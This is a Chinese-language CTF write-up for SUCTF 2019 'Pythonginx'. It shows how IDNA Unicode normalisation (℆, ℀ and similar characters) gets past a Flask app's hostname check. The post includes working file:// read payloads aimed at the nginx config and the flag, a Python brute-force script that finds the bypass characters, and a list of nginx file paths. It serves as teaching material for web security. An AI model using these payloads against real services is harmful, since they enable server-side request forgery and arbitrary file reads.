[SUCTF 2019]Pythonginx

[SUCTF 2019]Pythonginx

打开环境

q6dV-ikzgTbzm_F8YngBqK0UZjTXIy0t5JzSTA3xZYo

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
   url = request.args.get("url")
   host = parse.urlparse(url).hostname  //urlparse对url中的各个组成部分进行分割
   if host == 'suctf.cc':
       return "我扌 your problem? 111"
   parts = list(urlsplit(url)) //urlsplit和urlparse差不多,值得注意的是这里也有漏洞(urlsplit和urlparse)自行查找咯
   host = parts[1]
   if host == 'suctf.cc':
       return "我扌 your problem? 222 " + host
   newhost = []
   for h in host.split('.'):
       newhost.append(h.encode('idna').decode('utf-8'))  //这里进行idna编码又进行utf-8解码,肯定有问题呀
   parts[1] = '.'.join(newhost)
   #去掉 url 中的空格
   finalUrl = urlunsplit(parts).split(' ')[0]
   host = parse.urlparse(finalUrl).hostname
   if host == 'suctf.cc':
       return urllib.request.urlopen(finalUrl).read()  //这里就是可以利用的地方了,可以进行任意读文件操作
   else:
       return "我扌 your problem? 333"

代码审计大概结果是:前两个判断 host 是否是 suctf.cc ,如果不是才能继续。然后第三个经过了 decode(‘utf-8’) 之后传进了 urlunsplit 函数,在第三个判断中又必须要等于 suctf.cc 才行。

在unicode中字符℀(U+2100)℆是(U+2106),当IDNA处理此字符时,会将℀变成a/c,因此当你访问此url时,dns服务器会自动将url重定向到另一个网站。如果服务器引用前端url时,只对域名做了限制,那么通过这种方法,我们就可以轻松绕过服务器对域名的限制了。

这也就是说我们传入的url为http://evil.c℀.com在经过上述处理过后便成为了http://evil.ca/c.com

接着用这种方法访问/getUrl?url=file://suctf.c℆sr/local/nginx/conf/nginx.conf得知flag的位置

MnWpccRY3jZ36UyCv6O1cDpx-hwWTV3OLzg0pcJaMfM

最后访问/getUrl?url=file://suctf.c℆sr/fffffflag得到flag

xtC0ScGQicqPODKnRU1-IZ2Pkjb26ZE-dc9t8dKpay4

其他方法

可以知道是编码问题,且urlsplit和urlparse存在漏洞,这里我们直接进行脚本爆破,只要得到第3个if为真前面2个为假即可,脚本如下

from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
    for x in range(65536):
        uni=chr(x)
        url="http://suctf.c{}".format(uni)
        try:
            if getUrl(url):
                print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
        except:
            pass
def getUrl(url):
    url = url
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return False
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return False
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return True
    else:
        return False
if __name__=="__main__":
    get_unicode()

得到结果如图

Dftj6zPVKvHCVFDtk1keQ2woskvlhee4fOPa2nYnWvw

也就是说将得到的那些字符中任意一个换成原url中的c即可,然后也可读到我们的flag。

WNpxeQREeCNmsHk9h4RkmsO9gaiReLXW4V50wiwBoi8

其他payload如下:

file://suctf.cℭ/usr/fffffflag
file://sucⓉf.cc/usr/fffffflag

这是因为urlsplit不处理NFKC标准化 ,urlparse也不处理。经过h.encode(‘idna’).decode(‘utf-8’)后就不再是NFKC标准化了

Nginx重要文件位置

配置文件存放目录:/etc/nginx

主配置文件:/etc/nginx/conf/nginx.conf

管理脚本:/usr/lib64/systemd/system/nginx.service

模块:/usr/lisb64/nginx/modules

应用程序:/usr/sbin/nginx

程序默认存放位置:/usr/share/nginx/html

日志默认存放位置:/var/log/nginx

配置文件目录为:/usr/local/nginx/conf/nginx.conf

posted on 2024-04-27 15:14  跳河离去的鱼  阅读(5)  评论(0编辑  收藏  举报